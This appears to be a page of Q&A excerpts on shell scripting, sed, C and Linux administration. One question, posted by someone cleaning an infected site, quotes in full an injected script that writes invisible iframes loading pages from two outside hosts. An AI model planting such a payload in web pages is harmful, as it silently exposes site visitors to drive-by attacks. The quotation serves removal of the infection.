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• Bash PWD Shortening

  - by dlibby00

  I'm looking for a bash function that will shorten long path names to keep my PS1 variable from getting excessively long. Something along the lines of: /this/is/the/path/to/a/really/long/directory/i/would/like/shortened might end up as: /t../i../t../p../to/a/r../l../d../i/w../like/shortened something that the took the path and a maximum acceptable number of characters to shorten to would be perfect for my .bashrc file.

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• Bash script to (more or less) reliably check if the internet is up

  - by João Portela

  I need a bash script to put in a cron job that every minute checks if the internet is up. This is how I did it: #! /bin/sh host1=google.com host2=wikipedia.org curr_date=`date +"%Y%m%d%H%M"` echo -n "${curr_date};" ((ping -w5 -c3 $host1 || ping -w5 -c3 $host2) > /dev/null 2>&1) && echo "up" || (echo "down" && exit 1) How would you do it? Which hosts would you ping? Thanks in advance.

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• Regarding PID Shell Script

  - by arav

  I am calling another shell script testarg.sh within my main script. the logfiles of testarg.sh are stored in $CUSTLOGS in the below format testarg.DDMONYY.PID.log example: testarg.09Jun10.21165.log In the main script after the testarg process gets completed i need to grep the log file for the text "ERROR" and "COMPLETED SUCCESSFULLY". How do i get the PID of the process and combine with DDMONYY for grepping. Also i need to check whether file exists before grepping $CUSTBIN/testarg.sh $CUSTBIN/testarg.sh rc=$? if [ $rc -ne 0 ]; then return $CODE_WARN fi

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• sigprocmask not working

  - by EpsilonVector

  I'm using sigprocmask as follows: void mask(){ sigset_t new_set,old_set; sigemptyset(&new_set); sigaddset(&new_set,SIGALRM); sigprocmask(SIG_BLOCK, &new_set, &old_set); } and to my surprise a function which prints a big list somehow gets interrupted by the signal, even though I invoke mask() at its beginning. It looks as if mask fails, since my function doesn't invoke any other functions and therefore nowhere in its run should an unmask() happen. What can cause sigprocmask to fail?

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• not able to register sip user on red5server, using red5phone

  - by sunil221

  I start the red5, and then i start red5phone i try to register sip user , details i provide are username = 999999 password = ** ip = asteriskserverip and i got --- Registering contact -- sip:[email protected]:5072 the right contact could be --- sip :99999@asteriskserverip this is the log: + SipUserAgent - listen - Init... Red5SIP register [SIPUser] register RegisterAgent: Registering contact (it expires in 3600 secs) RegisterAgent: Registration failure: No response from server. [SIPUser] SIP Registration failure Timeout RegisterAgent: Failed Registration stop try. Red5SIP Client leaving app 1 Red5SIP Client closing client 35C1B495-E084-1651-0C40-559437CAC7E1 Release ports: sip port 5072 audio port 3002 Release port number:5072 Release port number:3002 [SIPUser] close1 [SIPUser] hangup [SIPUser] closeStreams RTMPUser stopStream [SIPUser] unregister RegisterAgent: Unregistering contact SipUserAgent - hangup - Init... SipUserAgent - closeMediaApplication - Init... [SIPUser] provider.halt RegisterAgent: Registration failure: No response from server. [SIPUser] SIP Registration failure Timeout

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• grep a rar in cygwin

  - by Tomer

  Hi, I want to do grep texts files inside a rar without extracting the rar file to disk, I tried a couple of combinations with pipes however it didnt work i tried for example unrar e myrar.rar | grep mysearchedline however it actually opened it to disk, I don't want to open it to disk, I don't have enough space for it to be opened (its real big with real big logs). Thanks.

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• What pixel format does X server use?

  - by Kristopher Ives

  What pixel format (RGBA, ARBG, BGRA) does the X server use? If any specific format at all

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• stream output of a command continuously run in php

  - by chandan kharbanda

  i am running this simple command { ./a.out < in; } & output.txt using exec and i want to output what's coming in output.txt through ajax request continuously. Also i want a way to turn off my output buffering.I tried flush() and ob functions but didn't succedded.In my /etc/php5/apache2/php.ini php.ini value of output_buffering = 4096.When I change it to Off and restart my apache2 server it fails to restart.P.S. I am using lamp server.

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• gcc compilations (sometimes) result in cpu underload

  - by confusedCoder

  I have a larger C++ program which starts out by reading thousands of small text files into memory and storing data in stl containers. This takes about a minute. Periodically, a compilation will exhibit behavior where that initial part of the program will run at about 22-23% CPU load. Once that step is over, it goes back to ~100% CPU. It is more likely to happen with O2 flag turned on but not consistently. It happens even less often with the -p flag which makes it almost impossible to profile. I did capture it once but the gprof output wasn't helpful - everything runs with the same relative speed just at low cpu usage. I am quite certain that this has nothing to do with multiple cores. I do have a quad-core cpu, and most of the code is multi-threaded, but I tested this issue running a single thread. Also, when I run the problematic step in multiple threads, each thread only runs at ~20% CPU. I apologize ahead of time for the vagueness of the question but I have run out of ideas as to how to troubleshoot it further, so any hints might be helpful. UPDATE: Just to make sure it's clear, the problematic part of the code does sometimes (~30-40% of the compilations) run at 100% CPU, so it's hard to buy the (otherwise reasonable) argument that I/O is the bottleneck

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• iptables in ubuntu [closed]

  - by asthagoyal2101

  i want to stop iptables firewall in ubuntu. how can i do that???

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• Notify via email if something wrong got happened in the shell script

  - by Nevzz03

  fileexist=0 for i in $( ls /data/read-only/clv/daily/Finished-HADOOP_EXPORT_&processDate#.done); do mv /data/read-only/clv/daily/Finished-HADOOP_EXPORT_&processDate#.done /data/read-only/clv/daily/archieve-wip/ fileexist=1 done --some other script below Above is the shell script I have in which in the for loop, I am moving some files. I want to notify myself via email if something wrong got happened in the moving process, as I am running this script on the Hadoop Cluster, so it might be possible that cluster went down while this was running etc etc. So how can I have better error handling mechanism in this shell script? Any thoughts?

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• How to repair Java in Ubuntu after trying to switch to Java 6 using update-java-alternatives

  - by Kau-Boy

  I tried to switch from Java 5 to Java 6 using the "update-java-alternatives" command like explained on this page: https://help.ubuntu.com/community/Java But afterwards I get the following error when I tried to execute java: root@webserver:~# java Error occurred during initialization of VM Could not reserve enough space for object heap Could not create the Java virtual machine. I also tried to reinstall the java binaries using "apt-get" but I didn't succeed reinstalling it. I would like to post the "apt-get" errors, but unfortunately I don't know how to print out the error messages in English and not in German. My system is a Ubuntu 8.04 ROOT server. Here is the (Google translated) english text tring to install Java 6 again: root@server:~# apt-get install sun-java6-jdk Reading package lists ... Ready Dependency tree Reading state information ... Ready sun-java6-jdk is already the newest version. sun-java6-jdk set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 86 not upgraded. 1 not fully installed or removed. After this operation, 0B of additional disk space will be used. Set up a sun-java6-bin (6-03-0ubuntu2) ... Could not create the Java virtual machine. dpkg: error processing sun-java6-bin (- configure): Subprocess post-installation script returned error exit status 1 Errors were encountered while processing: sun-java6-bin E: Sub-process / usr / bin / dpkg returned an error code (1) I hope that this might help you helping me.

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• ImageMagick bash script issue

  - by gAMBOOKa

  // This works convert ${path}${dst} -crop ${crop} ${path}${dst} // but when changed to this, it fails convert ${path}${src} -trim ${path}${dst} convert ${path}${dst} -crop ${crop} ${path}"pdf_"${dst} What am I doing wrong?

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• Simulation tree command in C

  - by Ecle

  I have to create the simulation of tree command in C, this is my current code: #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <dirent.h> #include <string.h> main(int argc, char *argv[]){ int i; if(argc < 2){ printf("\nError. Use: %s directory\n", argv[0]); system("exit"); } for(i=1;i<argc;i++) //if(argv[i][0] != '-') tree(argv[i]); } tree(char *ruta){ DIR *dirp; struct dirent *dp; static nivel = 0; struct stat buf; char fichero[256]; int i; if((dirp = opendir(path)) == NULL){ perror(path); return; } while((dp = readdir(dirp)) != NULL){ printf(fichero, "%s/%s", path, dp->d_name); if((buf.st_mode & S_IFMT) == S_IFDIR){ for(i=0;i<nivel;i++) printf("\t"); printf("%s\n", dp->d_name); ++nivel; tree(fichero); --nivel; } } } Apparently, it works! (due to it compiles correctly) But I don't why. I can't pass the correct arguments to execute this. Thank you so much, people.

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• The conventional location for storing my Java libraries and applications in UNIX based systems

  - by Bytecode Ninja

  I usually store the Java applications and JAR files that I download from the Web in the ~/Java folder on my computer (an OS X machine). I have been doing this since the days when I was a Windows user. However I think in UNIX based systems user local apps are conventionally stored in another directory. I have a feeling that this directory should either be /usr/local/, /usr/local/USERNAME, /opt/local, or /opt/local/USERNAME but I am not sure. Any ideas which directory can I use for this purpose? Please note that, I am talking about archive files that I download from the Web, unpack and use locally and not programs that have installation scripts or MacPorts, etc.

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• change shell directory from a script?

  - by ajsie

  i want to make a script (to) that makes it easier for me to enter folders. so eg. if i type "to apache" i want it to change the current directory to /etc/apache2. however, when i use the "cd" command inside the script, it seems like it changes the path WITHIN the script, so the path in the shell has not changed. how could i make this work?

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• How to line up columns using paste(1)? or how to make an aligned table merging lines in the shell?

  - by nn

  Hi, I want to merge lines such that the merged lines are aligned on the same boundary. UNIX paste(1) does this nicely when lines all meet at the same tab boundary, but when lines differ in size (in the file that lines are being merged into), the text comes out awkward. Example of paste(1) that has the desired effect: $ echo -e "a\nb\nccc\nd" | paste - - a b ccc d Example of paste(1) with undesired effect: $ echo -e "a\nb\ncccccccccccc\nd" | paste - - a b cccccccccccc d Note how the 2nd column doesn't line up. I want 'b' to line up with 'd', which requires an additional tab. Unfortunately I believe this is the limit for the paste utility, so if anyone has any idea of how to get the desired effect above, I'd love to hear it.

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• How to enable 'wget' to download the whole content of HTML with Javascript

  - by neversaint

  I have a site which I want to download using Unix wget. If you look at the source code and content of the file it contain section called SUMMARY. However after issuing a wget command like this: wget -O downdloadedtext.txt http://www.ncbi.nlm.nih.gov/IEB/Research/Acembly/av.cgi?db=mouse&c=gene&a=fiche&l=2610008E11Rik The content of the downdloadedtext.txt is incomplete and different with the source code of that site. For example it doesn't contain SUMMARY section. Is there a correct way to obtain the full content correctly? The reason I ask this because I want to automate the download from different values in that HTML.

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• Bash intercepting wildcard in script

  - by MrRoth

  I am using Bash script to read line by line from a text file, which has special characters in it (regular expression). When I use echo "${SOME_VAR}" it does not display the text as is. I am familiar with Prevent * to be expanded in the bash script. How can I display and use the text as is? UPDATE The text (TSV) file holds tuples similar to (the last entry is a psql query) bathroom bathroom select name from photos where name ~* '\mbathroom((s)?|(''s)?)\M'; I am reading the CSV as follows: tail -n+2 text.file | while IFS=$'\t' read x y z do echo "${z}" done which gives the output select name from photos where name ~* 'mbathroom((s)?|(''s)?)M'); note that the '\' is missing

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• Application Distribution

  - by FrozenWasteland

  I have a SDL app that compiles fine, and the images show up, but only if they are in the correct folder with the binary next to them, if the images are moved they wont show up next time the application is run. How can I make a complete binary that will allow me to compile the images as well as the code, so that I can distribute one single binary, and not a zip file with all of my assets. I have looked into writing a .deb file which is what I think I need, but the process looked complicated. I am running Ubuntu 10.10 I only need to distribute to Ubuntu

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• Ouch, how to escape this in sed? Cleaning up iframe malware

  - by user1769783

  I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

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• [sed] Multiline trimming

  - by wwrob

  I have a html file that I want to trim. I want to remove a section from the beginning all the way to a given string, and from another string to the end. How do I do that, preferably using sed?

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• what does '-' stand for in bash?

  - by trybeingarun

  Hi, What exactly are the uses of '-' in bash? I know they can be used for 1. cd - # to take you to the old 'present working directory' 2. some stream generating command | vim - # somehow vim gets the text. My question is what exactly is - in bash? In what other contexts can I use it? Regards Arun

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• How to add the distrubtion group from Powershell in Active Directory ?

  - by SCNCN2010

  How to add the distrubtion group from Powershell in Active Directory ? I have user in active directory and i want to add the user into particular group rather than going and server because that part is going to be outsourced. so how to add the distrubution group for particular user.

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• How do I install every libs in Devel group of Cygwin?

  - by Thomas

  Is there a way to install every bin in a group of softwares (like devel)? Thank you.

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